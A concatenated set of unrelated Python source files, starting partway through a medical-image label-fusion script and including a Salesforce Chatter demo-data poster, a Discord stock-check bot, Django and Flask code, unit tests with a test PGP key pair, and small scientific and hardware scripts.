cmdline += ['--in_suffix_list', atlas_img_suffix.split(os.extsep, 1)[0] + '_Warped.nii.gz']
cmdline += ['--mask_file', target_mask_path]
cmdline += ['--num_procs', '%d' % args.num_procs[0]]
print "Masking out atlases of target {}".format(target_img_files[i_t])
call(cmdline)
else:
target_path = os.path.join(args.out_reg_dir[0], target_img_files[i_t].split(os.extsep, 1)[0] + '_Warped.nii.gz')
atlas_img_path_list = [os.path.join(args.out_reg_dir[0], atlas_img_files[i_a].split(os.extsep, 1)[0] + '_Warped.nii.gz') for i_a in atlas_idx[i_t]]
atlas_lab_path_list = [os.path.join(args.out_reg_dir[0], atlas_lab_files[i_a].split(os.extsep, 1)[0] + '_Warped.nii.gz') for i_a in atlas_idx[i_t]]
target_mask_path = None
if args.target_mask_suffix is not None:
target_mask_path = os.path.join(args.target_dir[0], target_mask_files[i_t])
#
# Label fusion
print("Launching label fusion of file %s" % target_name)
suffix_list = [args.nlwv_suffix, args.lasso_suffix, args.nlbeta_suffix, args.myjoint_suffix, args.deeplf_suffix, args.joint_suffix, args.majvot_suffix]#, args.staple_suffix]
method_exists = np.any(np.array([f is not None for f in suffix_list], dtype=np.bool))
if method_exists:
assert args.labfus_dir is not None, 'Need to provide labfus_dir when running some method'
triplets_list = zip(['nlwv', 'lasso', 'nlbeta', 'myjoint', 'deeplf', 'joint', 'majvot', 'staple'],
[args.nlwv_h_list, args.lasso_lbd_list, args.nlbeta_b_list, args.myjoint_h_list, args.deeplf_net_list, None, None, None],
suffix_list)
out_dir = args.labfus_dir[0]
if not os.path.exists(out_dir): os.makedirs(out_dir)
jobs_list = []
for method, params_list, suffix in triplets_list:
if suffix is not None:
out_file = os.path.join(out_dir, target_name + suffix[0])
patch_rad = args.patch_rad[0] if args.patch_rad is not None else None
search_rad = args.search_rad[0] if args.search_rad is not None else None
fusion_rad = args.fusion_rad[0] if args.fusion_rad is not None else None
struct_sim = args.struct_sim[0] if args.struct_sim is not None else None
patch_norm = args.patch_norm[0] if args.patch_norm is not None else None
joint_alpha = args.joint_alpha[0] if args.joint_alpha is not None else None
joint_beta = args.joint_beta[0] if args.joint_beta is not None else None
joint_metric = args.joint_metric[0] if args.joint_metric is not None else None
launcher = label_fusion(launcher, target_path, atlas_img_path_list, atlas_lab_path_list, out_file, args.probabilities, method, args.metric[0], target_mask_path,
patch_rad, search_rad, fusion_rad, struct_sim, patch_norm, params_list, joint_alpha, joint_beta, joint_metric,
args.parallel_labels_list, args.num_itk_threads[0])
if not args.target_parallelism:
launcher.wait()
# Remove warped files
if not reg_dir_exists and not args.keep_reg_dir and not args.target_parallelism and args.template_file is None:
rmtree(target_reg_dir)
else:
print('There is not method to execute')
# Wait for the jobs to finish (in cluster)
if method_exists and args.target_parallelism:
print("Waiting for label fusion jobs to finish...")
launcher.wait()
print("Label fusion finished.")
if not reg_dir_exists and not args.keep_reg_dir:
rmtree(args.out_reg_dir[0])
|
"""
Script that continuously posts Chatter threads using a dataset from a Facebook
group. See README.md for more details.
"""
import os
import random
import readchar
import sqlite3
import time
from simple_salesforce import Salesforce
from dotenv import load_dotenv, find_dotenv
load_dotenv(find_dotenv())
DATASET_FILE = 'cheltenham-facebook-group.sqlite'
if not os.path.isfile(DATASET_FILE):
print "{} not found. Please see README.md for instructions on how to obtain it.".format(DATASET_FILE)
exit()
# You need to download the dataset from https://www.kaggle.com/mchirico/cheltenham-s-facebook-group.
# (Free Kaggle account required. Download cheltenham-s-facebook-group.zip and extract the sqlite file.)
CONN = sqlite3.connect(DATASET_FILE)
# If INTERACTIVE_MODE is True, we wait for a key press after each post instead of a delay.
INTERACTIVE_MODE = (os.environ.get('INTERACTIVE_MODE') or '').lower() == 'true'
INTERACTIVE_PROMPT = "Press 'f' to post a feed item, 'c' to post a comment, CTRL-C twice quickly to exit."
# You may want to set a delay here to avoid hitting rate limits.
DELAY = float(os.environ.get('DELAY_BETWEEN_POSTS') or 0)
# If RECONSTRUCT_THREADS is True, we'll post random feed items with all of their
# comments from the original Facebook threads. If it's False, we'll post random
# feed items with random comments.
RECONSTRUCT_THREADS = (os.environ.get('RECONSTRUCT_THREADS') or '').lower() == 'true'
# If RECONSTRUCT_THREADS is False, these settings control how many comments get posted.
MIN_COMMENTS = int(os.environ.get('MIN_COMMENTS') or 3)
MAX_COMMENTS = int(os.environ.get('MAX_COMMENTS') or 5)
class SalesforceHelper(object):
def __init__(self):
self.sf = Salesforce(password=os.environ.get('SFDC_PASSWORD'),
username=os.environ.get('SFDC_USERNAME'),
security_token=os.environ.get('SFDC_TOKEN'))
# Cache the possible ParentIds that we'll post Chatter feed items to.
# For the purposes of our demonstration, We'll use Users, Groups, and Accounts only.
self.parent_ids = []
soql_queries = ["SELECT Id FROM User WHERE IsActive = True AND UserType = 'Standard'",
"SELECT Id FROM CollaborationGroup WHERE CollaborationType = 'Public' AND IsArchived = False AND NetworkId = null",
"SELECT Id FROM Account",
]
for query in soql_queries:
result = self.sf.query(query)
ids = [x['Id'] for x in result['records']]
self.parent_ids.extend(ids)
# Also store the user IDs.
if " FROM User " in query:
self.user_ids = ids
def get_random_parent(self):
return random.choice(self.parent_ids)
def get_random_user(self):
return random.choice(self.user_ids)
def post_feed_item(self, data):
return self.sf.FeedItem.create(data)
def post_comment(self, data):
return self.sf.FeedComment.create(data)
def replace_special_chars(msg):
s = msg.replace('{COMMA}', ',')
s = s.replace('{APOST}', "'")
s = s.replace('{RET}', "\n")
return s
def post_random_thread(sf):
for (pid, post_body) in CONN.execute("SELECT pid, msg FROM post ORDER BY random() LIMIT 1"):
post_body = replace_special_chars(post_body)
print "*" * 80
print post_body
random_parent = sf.get_random_parent()
random_user = sf.get_random_user()
feed_item = {'Body': post_body,
'ParentId': random_parent,
'CreatedById': random_user,
}
result = sf.post_feed_item(data=feed_item)
if result['success']:
feed_item_id = result['id']
else:
print "Error posting feed item: {}, input: {}".format(result['errors'], feed_item)
continue
if INTERACTIVE_MODE:
print INTERACTIVE_PROMPT
char = readchar.readchar()
if char == 'f':
return
else:
time.sleep(DELAY)
# Post comments.
if RECONSTRUCT_THREADS:
query, params = "SELECT cid, msg FROM comment WHERE pid=? ORDER BY timeStamp", [pid]
else:
num_comments = random.randint(MIN_COMMENTS, MAX_COMMENTS)
query, params = "SELECT cid, msg FROM comment ORDER BY random() LIMIT ?", [num_comments]
for (cid, comment_body) in CONN.execute(query, params):
comment_body = replace_special_chars(comment_body)
print " ", comment_body
random_user = sf.get_random_user()
comment = {'CommentBody': comment_body,
'FeedItemId': feed_item_id,
'CreatedById': random_user,
}
result = sf.post_comment(data=comment)
if not result['success']:
print "Error posting comment: {}, input: {}".format(result['errors'], comment)
continue
if INTERACTIVE_MODE:
print INTERACTIVE_PROMPT
char = readchar.readchar()
if char == 'f':
return
else:
time.sleep(DELAY)
if __name__ == '__main__':
sf = SalesforceHelper()
while True:
try:
post_random_thread(sf)
except Exception as e:
print e
|
#
# Copyright (c) 2009, 2010 Testrepository Contributors
#
# Licensed under either the Apache License, Version 2.0 or the BSD 3-clause
# license at the users choice. A copy of both licenses are available in the
# project source as Apache-2.0 and BSD. You may not use this file except in
# compliance with one of these two licences.
#
# Unless required by applicable law or agreed to in writing, software
# distributed under these licenses is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# license you chose for the specific language governing permissions and
# limitations under that license.
"""Tests for commands."""
import unittest
def test_suite():
names = [
'commands',
'failing',
'help',
'init',
'last',
'list_tests',
'load',
'quickstart',
'run',
'slowest',
'stats',
]
module_names = ['testrepository.tests.commands.test_' + name for name in
names]
loader = unittest.TestLoader()
return loader.loadTestsFromNames(module_names)
|
import json
import discord
import datetime
import TotalStockChecker
from discord.ext import commands
from discord.ext.commands import Bot
with open('config.json', 'r') as f:
config_data = json.load(f)
TOKEN = config_data["TOKEN"]
BOT_PREFIX = config_data["BOT_PREFIX"]
bot = commands.Bot(command_prefix=BOT_PREFIX)
start_time = datetime.datetime.now()
@bot.command(description="Takes in a provided PID from the command and uses it to get information (availability, stock numbers, splash page, images, price, etc) about that product.", brief="Gets stock information of a provided PID", aliases=['STOCK', 'Stock'])
async def stock(ctx):
message = ctx.message.content.split()
if len(message) <= 1: # Check if a PID is provided
await ctx.channel.send("No PID provided.")
return
else: # Get PID and make adidasInfo object with it
pid = message[1].upper()
await ctx.channel.send('Checking information for "{}". . .'.format( pid ))
debug = False
item_info = TotalStockChecker.adidasInfo(pid)
if debug == "true": # Check if requests.get worked or not for each URL and display success/failures
stock = "Success: {} - Valid: {}".format( item_info.stock_success, item_info.stock_valid )
avail = "Success: {} - Valid: {}".format( item_info.avail_success, item_info.avail_valid )
info = "Success: {} - Valid: {}".format( item_info.info_success, item_info.info_valid )
embed = discord.Embed(title="Getting information. . .")
embed.add_field(name="Product Info:", value=info, inline=False)
embed.add_field(name="Availability Data:", value=avail, inline=False)
embed.add_field(name="Stock Data:", value=stock, inline=False)
embed.add_field(name="URLs:", value=item_info.get_urls(), inline=False)
embed.color = 0Xffffff
await ctx.channel.send(embed=embed)
if not item_info.info_valid: # If info is not valid, display error
embed = discord.Embed(title="Error getting product info for {}\nProduct might not be loaded on Adidas site.".format(item_info.pid), color=0xff0000)
else: # Create and populate embed (if info is valid)
images = [] # Get image URLs in a readable format (from generator object)
for x in item_info.get_images():
images.append(x)
embed = discord.Embed (title=item_info.get_product_url(), color=0x00ff00, url=item_info.get_product_url()) # , timestamp=datetime.datetime.utcnow()
embed.set_thumbnail(url=images[0])
embed.set_author(name=item_info.get_name(), url=item_info.get_product_url(), icon_url="https://cdn.frankerfacez.com/emoticon/270930/4")
embed.add_field(name="Price:", value=item_info.get_price(), inline=False)
embed.add_field(name="Splash page release?", value=item_info.get_splash_page(), inline=False)
embed.add_field(name="Release Date:", value=item_info.get_release_date(), inline=False)
embed.add_field(name="Total Stock:", value=item_info.get_total_stock(), inline=False)
if item_info.get_availability():
embed.add_field(name="Per Size Availability:", value=item_info.get_availability(), inline=False)
else:
embed.add_field(name="Per Size Availability:", value="Stock information not yet available, but product info is loaded onto Adidas site.", inline=False)
embed.color = 0xffa500
current_time = datetime.datetime.now()
uptime = current_time - start_time
minutes = int(uptime.seconds/60)
hours = int(minutes/60)
embed.set_footer(text="Uptime: {} days, {} hours, {} minutes, {} seconds.".format(uptime.days, hours, minutes%60, uptime.seconds%60))
await ctx.channel.send(embed=embed)
@bot.event
async def on_ready():
await bot.change_presence(activity=discord.Game(name='Adidas | CJ | {}'.format(BOT_PREFIX)))
print('Logged in as "{}"'.format(bot.user.name))
print('ID: {}'.format(bot.user.id))
print('Made by CJ')
|
from django.contrib import admin
from .models import UserComment, Follow, UserPost, UserProfile
admin.site.register(UserComment)
admin.site.register(Follow)
admin.site.register(UserPost)
admin.site.register(UserProfile)
|
import os
import sys
import json
def check_file_existance(path,file_name):
if file_name in os.listdir(path):
return True
else:
return False
def create_file(file_name):
with open(file_name,"a"):
pass
with open(file_name,"w"):
pass
def read_file(file_name):
with open(file_name,encoding = "ISO-8859-1") as f:
return f.read()
def check_folder_existance(folder_name):
if folder_name in os.listdir():
return True
else:
return False
def create_folder(folder_name):
os.mkdir(folder_name)
|
from collections import defaultdict
my_list=['a','b','c','d']
for idx, val in enumerate( my_list ):
print( idx, val)
for idx, val in enumerate( my_list, 1):
print( idx, val)
word_summary = defaultdict(list)
with open(__file__) as f:
lines = f.readlines()
for idx , line in enumerate( lines ):
words = [w.strip().lower() for w in line.split()]
for word in words:
word_summary[word].append( idx )
print( word_summary )
data = [ (1, 2), (3, 4), (5, 6), (7, 8) ]
#Correct!
for n, (x,y) in enumerate(data):
print( n , x + y )
|
test_case = int(input())
def fibo(N):
zero = [0] * 41
one = [0] * 41
zero[0] = 1
one[1] = 1
for i in range(2, N + 1):
zero[i] = zero[i - 1] + zero[i - 2]
one[i] = one[i - 1] + one[i - 2]
return zero[N], one[N]
for t in range(test_case):
N = int(input())
print(*fibo(N))
|
#coding:utf-8
#
# id: functional.intfunc.string.ascii_01
# title: New Built-in Functions, Firebird 2.1 : ASCII_CHAR( <number> )
# decription: test of ASCII_CHAR
#
# Returns the ASCII character with the specified code. The argument to ASCII_CHAR must be in the range 0 to 255. The result is returned in character set NONE.
# tracker_id:
# min_versions: []
# versions: 2.1
# qmid: functional.intfunc.string.ascii_char_01
import pytest
from firebird.qa import db_factory, isql_act, Action
# version: 2.1
# resources: None
substitutions_1 = []
init_script_1 = """"""
db_1 = db_factory(sql_dialect=3, init=init_script_1)
test_script_1 = """select ASCII_CHAR( 065 ) from rdb$database;"""
act_1 = isql_act('db_1', test_script_1, substitutions=substitutions_1)
expected_stdout_1 = """ASCII_CHAR
==========
A
"""
@pytest.mark.version('>=2.1')
def test_1(act_1: Action):
act_1.expected_stdout = expected_stdout_1
act_1.execute()
assert act_1.clean_expected_stdout == act_1.clean_stdout
|
#!/usr/local/bin/python3
#-*- encoding: utf-8 -*-
import os
from flask import Flask
from flask_wtf.csrf import CSRFProtect
from setting.config import config
from app.api.check.controller import bp_common_check
from app.web.sign.controller import bp_web_sign
from app.web.index.controller import bp_web_index
from app.worker.client.controller import bp_worker_client
from app.worker.server.controller import bp_worker_server
# from app.index.controller.signController import bp_index_sign
# from app.index.controller.errorController import bp_index_error
# # from app.menu.setting.auth.controller.mainController import bp_menu_setting_auth_main
# # from app.menu.page.client.device.controller.mainController import bp_menu_page_client_device_main
# # from app.worker.command.controller.commandController import bp_client_command
# # from app.worker.client.controller.clientController import bp_worker_client
def run():
conf = config
app = Flask(__name__, template_folder=conf.TEMPLATE, static_folder=conf.STATIC)
app.register_blueprint(bp_web_sign, url_prefix="/")
app.register_blueprint(bp_web_index, url_prefix="/")
app.register_blueprint(bp_common_check, url_prefix="/api/check")
app.register_blueprint(bp_worker_client, url_prefix="/worker/client")
app.register_blueprint(bp_worker_server, url_prefix="/worker/server")
# # app.register_blueprint(bp_index_error, url_prefix="/")
# app.register_blueprint(bp_client_command, url_prefix="/worker/command")
# app.register_blueprint(bp_worker_client, url_prefix="/worker/client")
# app.register_blueprint(bp_menu_page_client_device_main, url_prefix="/client/device")
# app.register_blueprint(bp_menu_setting_auth_main, url_prefix="/setting")
app.config['SECRET_KEY'] = conf.SECRET_KEY
csrf = CSRFProtect()
csrf.init_app(app)
app.run(host=conf.HOST, port=conf.PORT, debug=conf.DEBUG)
|
import unittest
from io import BytesIO
from keyserver.key import PublicKey, PrivateKey
# {{{
pub = """-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1
mI0EVX2+IQEEAL3TABO0HqcHFD3uGnp9FQeuorE3vL7GGGvSkS9BhOG9r8Hu4Bq5
txu4uVxH4Gcx/ksVNCP8nChYvbs7qBdxZPpDzKEzIeFKsGU3oVwbmIoXMiZC1WHx
p2y/dwUKWG5bUlmbU4dBEBjpbBF0IhoNkWzfWG/w+YF/IC8FWrjO4uc7ABEBAAG0
GlRlc3RpbmcgPHRlc3RAZXhhbXBsZS5uZXQ+iL4EEwECACgFAlV9viECGwMFCV38
DwAGCwkIBwMCBhUIAgkKCwQWAgMBAh4BAheAAAoJEAyCAiR3+vU3uwUD/03RRGzE
jsZf+keS2epefTORgBUgPJ1bXpN3wv5zaBCUUDtAzjLzwIyVIe5irEJWBkIRgtHE
MXS40N8cOwNmAyJ95UsrlCFI5FJ5So82N0EgZo2VGaF1fYhHMLcAXc8xaiERJ/A9
r8M7UNeZOa+j08vEWhwhbNZEI+rD91ddKimpuI0EVX2+IQEEAKtrH9S6Vyba0bS1
PQyicwtMnw50bcroY5vbK8JtAknDmzrd/xpLTToUu31u/z4zWu6kql3H/IJk7+rq
zjkTzZDn4uoqn4O7652v57yWm79tkTunPUNvChCu5OeGCp5qYIwhcUnqK0tPqGRJ
MuWE+KlhdJuxEv2if3AeONphmiuJABEBAAGIpQQYAQIADwUCVX2+IQIbDAUJXfwP
AAAKCRAMggIkd/r1N6OJA/967pbal7t793+NecoESlBQupndkZf1NBvOxxl3hBVF
85E5zp+wlTn2E/jnEqu7kSt+t+A9sgz1d/81Crsylov2Jgl7GkOblnAJ20zsIEPU
wDce+G3sUq66QUwPV3lxSxMu6Y+zkOIdboxaLs/SiACQI1gxwUo4sPX3+XYC53P3
6A==
=nCE/
-----END PGP PUBLIC KEY BLOCK-----"""
priv = """-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: GnuPG v1
lQHXBFV9viEBBAC90wATtB6nBxQ97hp6fRUHrqKxN7y+xhhr0pEvQYThva/B7uAa
ubcbuLlcR+BnMf5LFTQj/JwoWL27O6gXcWT6Q8yhMyHhSrBlN6FcG5iKFzImQtVh
8adsv3cFClhuW1JZm1OHQRAY6WwRdCIaDZFs31hv8PmBfyAvBVq4zuLnOwARAQAB
AAP/Uxyr93SRSTN9xuHWIRRcHVl2rV5Im0TT033GCKlIu6gYaLKk177Br/cQ3Zkw
5S4L96bohesoGjhEllJ39g+1lGWDOQWmauqdyCpg6TWDnmmfsy/l7dHHYUXvFh5U
9oLib8GUkusEAZ5UToiJIL8VYlknEaW7m3YaxWHK6jcmsbUCAMJnSNjaMl3DFGmF
88zk6HKCmiHcBDyIIxkf0LhkbX4S+MCxULAAOiEJ4BSh8/z78TyXm2EhpUqQqV9q
ufiGQK0CAPn4R1O0kgqm5AXhK850pVI/2dtrpRwEcloEkoPJzkV5apZamquatgM8
QU7x9o43X9ccNztU08yfTMt/xV0vfIcB+IzZ2Hyj93iHEd6C/lGDAVaqHCThcUyV
0ZdbSGamZV2q7ZFpF61VIdb0YpkHjZOMvEmZ0EUDIHenl5omp+xtSaKNtBpUZXN0
aW5nIDx0ZXN0QGV4YW1wbGUubmV0Poi+BBMBAgAoBQJVfb4hAhsDBQld/A8ABgsJ
CAcDAgYVCAIJCgsEFgIDAQIeAQIXgAAKCRAMggIkd/r1N7sFA/9N0URsxI7GX/pH
ktnqXn0zkYAVIDydW16Td8L+c2gQlFA7QM4y88CMlSHuYqxCVgZCEYLRxDF0uNDf
HDsDZgMifeVLK5QhSORSeUqPNjdBIGaNlRmhdX2IRzC3AF3PMWohESfwPa/DO1DX
mTmvo9PLxFocIWzWRCPqw/dXXSopqZ0B2ARVfb4hAQQAq2sf1LpXJtrRtLU9DKJz
C0yfDnRtyuhjm9srwm0CScObOt3/GktNOhS7fW7/PjNa7qSqXcf8gmTv6urOORPN
kOfi6iqfg7vrna/nvJabv22RO6c9Q28KEK7k54YKnmpgjCFxSeorS0+oZEky5YT4
qWF0m7ES/aJ/cB442mGaK4kAEQEAAQAD/ArSqiv/vJCZoJjvbSnW4zrzklf9djsp
SLS79fuCGh1h1Mi24IGeqdhrcQUJP44D/GSfOpnOOSgFyyIYGNTWERSlIwFz0UXx
BhVnJQGGmQx29oZHa08ma0kD5LUmuCrsW0rrzz7MpU+4SQ8kD2K81ZgyVdQfCavC
OfHJmUhD2cabAgDO8OTPNI2jedXpeJAD0f1OMuNdIcbnUtA02dMTSjet/XYKTCCL
+kodJLrZBbjhV20a9aXzmtrkUlTPeuVK3+IfAgDUDmRrCS7vFYTXH6m8i2QvdHVE
kzURkoQ+AdFI24BD6pyjD1ipnLRsXUb6Xhqck7HZi2sx2ISqdWi2VfxxX01XAf0d
qXD/FOY2cSNbwJdK+2h+RForH7uQQzhm+2kwPQlRhL/7EE2hZy1F4u7fA1OD4snt
r1p5r/P1Y2Bab0H7S8N+oLKIpQQYAQIADwUCVX2+IQIbDAUJXfwPAAAKCRAMggIk
d/r1N6OJA/967pbal7t793+NecoESlBQupndkZf1NBvOxxl3hBVF85E5zp+wlTn2
E/jnEqu7kSt+t+A9sgz1d/81Crsylov2Jgl7GkOblnAJ20zsIEPUwDce+G3sUq66
QUwPV3lxSxMu6Y+zkOIdboxaLs/SiACQI1gxwUo4sPX3+XYC53P36A==
=rcc3
-----END PGP PRIVATE KEY BLOCK-----"""
# }}}
class KeyTestCase(unittest.TestCase):
def test_encrypt_decrypt(self):
key = PublicKey(pub)
data = key.encrypt("test data")
self.assertNotEqual(0, len(data))
private = PrivateKey(priv)
decrypted_data = private.decrypt(data)
self.assertEqual(b"test data", decrypted_data)
def test_export(self):
key = PublicKey(pub)
fp = BytesIO()
key.export(fp)
fp.seek(0)
data = fp.read()
self.assertFalse(len(data) == 0)
self.assertFalse(data.startswith(b"----"))
def test_properties(self):
key = PublicKey(pub)
self.assertEqual(2065, key.expire.year)
self.assertEqual("Testing", key.name)
self.assertEqual("test@example.net", key.email)
self.assertEqual("<PublicKey: Testing <test@example.net>>: "
"A1FB2F8540F8E694BF48D8AC0C82022477FAF537", repr(key))
|
from django.contrib.contenttypes.fields import GenericForeignKey
from django.contrib.contenttypes.models import ContentType
import json
from django.db import models
from django.db.models import CASCADE
class AbstractTelegramChat(models.Model):
"""
Represents a `chat` type in Bot API:
https://core.telegram.org/bots/api#chat
"""
CHAT_TYPES = (
("private", "private"),
("group", "group"),
("supergroup", "supergroup"),
("channel", "channel")
)
telegram_id = models.CharField(max_length=128, unique=True)
type = models.CharField(choices=CHAT_TYPES, max_length=128)
title = models.CharField(max_length=512, null=True, blank=True)
username = models.CharField(max_length=128, null=True, blank=True)
def is_private(self):
return self.type == self.CHAT_TYPES[0][0]
class Meta:
abstract = True
def __str__(self):
return "{} ({})".format(self.title, self.telegram_id)
class AbstractTelegramUser(models.Model):
"""
Represented a `user` type in Bot API:
https://core.telegram.org/bots/api#user
"""
telegram_id = models.CharField(max_length=128, unique=True)
is_bot = models.BooleanField(default=False)
first_name = models.CharField(max_length=128)
last_name = models.CharField(max_length=128, null=True, blank=True)
username = models.CharField(max_length=128, null=True, blank=True)
def get_chat_state(self, chat: AbstractTelegramChat):
state = AbstractTelegramState.objects.get_or_create(
telegram_user__telegram_id=self.telegram_id,
telegram_chat__telegram_id=chat.telegram_id
)
return state
def get_private_chat_state(self):
state = AbstractTelegramState.objects.get_or_create(
telegram_user__telegram_id=self.telegram_id,
telegram_chat__telegram_id=self.telegram_id
)
return state
class Meta:
abstract = True
def __str__(self):
return "{} {} (@{})".format(self.first_name, self.last_name, self.username)
class AbstractTelegramState(models.Model):
memory = models.TextField(null=True, blank=True, verbose_name="Memory in JSON format")
name = models.CharField(max_length=256, null=True, blank=True)
class Meta:
abstract = True
def get_memory(self):
"""
Gives a python object as the memory for this state.
Use the set_memory method to set an object as memory. If invalid JSON used as memory, it will be cleared
upon calling this method.
"""
if self.memory in [None, '']:
return {}
try:
return json.loads(self.memory)
except ValueError:
self.memory = ''
self.save()
return {}
def set_memory(self, obj):
"""
Sets a python object as memory for the state, in JSON format.
If given object cannot be converted to JSON, function call will be ignored.
:param obj: The memory object to be stored
"""
try:
self.memory = json.dumps(obj)
self.save()
except ValueError:
pass
def reset_memory(self):
"""
Resets memory
"""
self.set_memory({})
def update_memory(self, obj):
"""
Updates the memory in the exact way a Python dictionary is updated. New keys will be added and
existing keys' value will be updated.
:param obj: The dictionary to update based on
"""
if type(obj) != dict:
raise ValueError("Passed object should be type of dict")
memory = self.get_memory()
memory.update(obj)
self.set_memory(memory)
def set_name(self, name):
self.name = name
self.save()
|
import os
import sys
import plyfile
import json
import time
import torch
import argparse
import numpy as np
def get_raw2scannet_label_map():
lines = [line.rstrip() for line in open('scannetv2-labels.combined.tsv')]
lines = lines[1:]
raw2scannet = {}
for i in range(len(lines)):
elements = lines[i].split('\t')
# raw_name = elements[0]
# nyu40_name = elements[6]
raw_name = elements[1]
nyu40_id = elements[4]
nyu40_name = elements[7]
raw2scannet[raw_name] = nyu40_id
return raw2scannet
g_raw2scannet = get_raw2scannet_label_map()
RAW2SCANNET = g_raw2scannet
def parse_args():
parser = argparse.ArgumentParser()
parser.add_argument('--input', default='/home/xurunsen/datasets/ScanNet/scans')
parser.add_argument('--output', default='./output')
opt = parser.parse_args()
return opt
def main(config):
for scene_name in os.listdir(config.input):
print(scene_name)
# Over-segmented segments: maps from segment to vertex/point IDs
segid_to_pointid = {}
segfile = os.path.join(config.input, scene_name, '%s_vh_clean_2.0.010000.segs.json'%(scene_name))
with open(segfile) as jsondata:
d = json.load(jsondata)
seg = d['segIndices']
for i in range(len(seg)):
if seg[i] not in segid_to_pointid:
segid_to_pointid[seg[i]] = []
segid_to_pointid[seg[i]].append(i)
# Raw points in XYZRGBA
ply_filename = os.path.join(config.input, scene_name, '%s_vh_clean_2.ply' % (scene_name))
f = plyfile.PlyData().read(ply_filename)
points = np.array([list(x) for x in f.elements[0]])
# Instances over-segmented segment IDs: annotation on segments
instance_segids = []
labels = []
annotation_filename = os.path.join(config.input, scene_name, '%s.aggregation.json'%(scene_name))
with open(annotation_filename) as jsondata:
d = json.load(jsondata)
for x in d['segGroups']:
instance_segids.append(x['segments'])
labels.append(x['label'])
# Each instance's points
instance_labels = np.zeros(points.shape[0])
semantic_labels = np.zeros(points.shape[0])
for i in range(len(instance_segids)):
segids = instance_segids[i]
pointids = []
for segid in segids:
pointids += segid_to_pointid[segid]
pointids = np.array(pointids)
instance_labels[pointids] = i+1
semantic_labels[pointids] = RAW2SCANNET[labels[i]]
colors = points[:,3:6]
points = points[:,0:3] # XYZ+RGB+NORMAL
torch.save((points, colors, semantic_labels, instance_labels), os.path.join(config.output, scene_name+'.pth'))
if __name__=='__main__':
config = parse_args()
os.makedirs(config.output, exist_ok=True)
main(config)
|
from mock import patch
from tests import get_resource_path
def _compare_expected_to_response(test_app,
fake_redis_store,
route,
expected_path,
expected_response=200):
with patch(
'redis.StrictRedis',
return_value=fake_redis_store
):
response = test_app.get(route)
with open(
get_resource_path(expected_path),
'r'
) as expected:
assert response.status_code == expected_response
assert (
"".join(response.data.decode('utf-8').split()) ==
"".join(expected.read().split())
)
def test_main_route(test_app, fake_redis_store):
_compare_expected_to_response(
test_app,
fake_redis_store,
'/',
'page_example.txt'
)
def test_rss(test_app, fake_redis_store):
_compare_expected_to_response(
test_app,
fake_redis_store,
'/feed.atom',
'rss_example.txt'
)
|
import xarray as xr
import numpy as np
import pytest
from xmovie.presets import (
_check_input,
_core_plot,
_smooth_boundary_NearsidePerspective,
)
import matplotlib as mpl
import matplotlib.pyplot as plt
import cartopy.crs as ccrs
def test_check_input():
# this should be done with a more sophisticated example
ds = xr.Dataset(
{
"a": xr.DataArray(np.arange(20), dims=["x"]),
"b": xr.DataArray(np.arange(4), dims=["y"]),
}
)
xr.testing.assert_identical(ds["a"], _check_input(ds, None))
xr.testing.assert_identical(ds["b"], _check_input(ds, "b"))
xr.testing.assert_identical(ds["a"], _check_input(ds["a"], None))
xr.testing.assert_identical(ds["a"], _check_input(ds["a"], "b"))
@pytest.mark.parametrize(
"plotmethod, expected_type, filled",
[
(None, mpl.collections.QuadMesh, None),
("contour", mpl.contour.QuadContourSet, False),
("contourf", mpl.contour.QuadContourSet, True),
],
)
def test_core_plot(plotmethod, expected_type, filled):
da = xr.DataArray(np.random.rand(4, 6))
fig, ax = plt.subplots()
pp = _core_plot(ax, da, plotmethod=plotmethod)
assert isinstance(pp, expected_type)
if not filled is None:
assert pp.filled == filled
@pytest.mark.parametrize("lon", [-700, -300, 1, 300, 700])
@pytest.mark.parametrize("lat", [-200, -90, 0, 90, 180])
@pytest.mark.parametrize("sat_height", [35785831, 45785831])
def test_smooth_boundary_NearsidePerspective(lon, lat, sat_height):
lon = -100
lat = -40
sat_height = 35785831
pr = ccrs.NearsidePerspective(
central_longitude=lon, central_latitude=lat, satellite_height=sat_height
)
# modify the projection with smooth boundary
pr_mod = _smooth_boundary_NearsidePerspective(pr)
assert pr.proj4_params == pr_mod.proj4_params
assert pr.globe == pr_mod.globe
|
from ROOT import *
import math
import sys
def main(argv=sys.argv):
if(len(argv)!=5):
print 'Usage, python test.py <mean> <sigma> <NTOYS> <NOPINTS>'
return -1
ran=TRandom3(132)
mean=float(argv[1])
sigma=float(argv[2])
NTOYS=int(argv[3])
NPOINTS=int(argv[4])
hist_mean=TH1F("mean estimator, true value="+str(mean), "mean estimator, true value="+str(mean),300, mean-5*sigma, mean+5*sigma)
for i in range(0,NTOYS):
# simulating ith toy
points=[]
for j in range(0,NPOINTS):
points.append(ran.Gaus(mean, sigma))
# we finished ith toy, let's estimate the mean of a gauss
mean_tmp= reduce(lambda x, y: x + y, points) / len(points)
hist_mean.Fill(mean_tmp)
c1=TCanvas("c1", "c1", 800,600)
hist_mean.Draw()
c1.SaveAs("mean_estimator.png")
if __name__ == "__main__":
sys.exit(main())
|
from .champion import championById
from .wiki import wikiById
|
# -*- coding: utf-8 -*-
from concurrent.futures import ThreadPoolExecutor as Executor
import time
from PIL import Image, ImageDraw, ImageFont, ImageColor
from utilities import Singleton
from raspberry_pi.bases import BaseDisplay
from raspberry_pi import TFT240x135
from typing import Union, Sequence
BLACK = ImageColor.getrgb("Black")
@Singleton
class Display:
width = 240
height = 135
def __init__(self, hardware_display: BaseDisplay = TFT240x135):
# Create blank image for drawing.
# Make sure to create image with mode 'RGB' for full color.
self._image: Image.Image = Image.new("RGB", (self.width, self.height))
# Get drawing object to draw on image.
self._draw: ImageDraw.Draw = ImageDraw.Draw(self._image)
self._display: BaseDisplay = hardware_display
self.clear()
self.backlight_on()
def backlight_on(self):
self._display.backlight_on()
Executor.submit(self._backlight_timer)
def _backlight_timer(self):
time.sleep(60)
self.backlight_off()
def backlight_off(self):
self._display.backlight_off()
def clear(self):
# Draw a black filled box to clear the image.
self._draw.rectangle((0, 0, self.width, self.height), outline=0, fill=(0, 0, 0))
self._display.display(self._image)
def text(self, messages: Union[str, Sequence]):
font = ImageFont.truetype("/usr/share/fonts/truetype/dejavu/DejaVuSans.ttf", 24)
if isinstance(messages, str):
messages = (messages,)
x = 0
y = -2
for i, line in enumerate(messages):
if i > 3:
break
self._draw.text((x, y), line, font=font, fill="#FFFFFF")
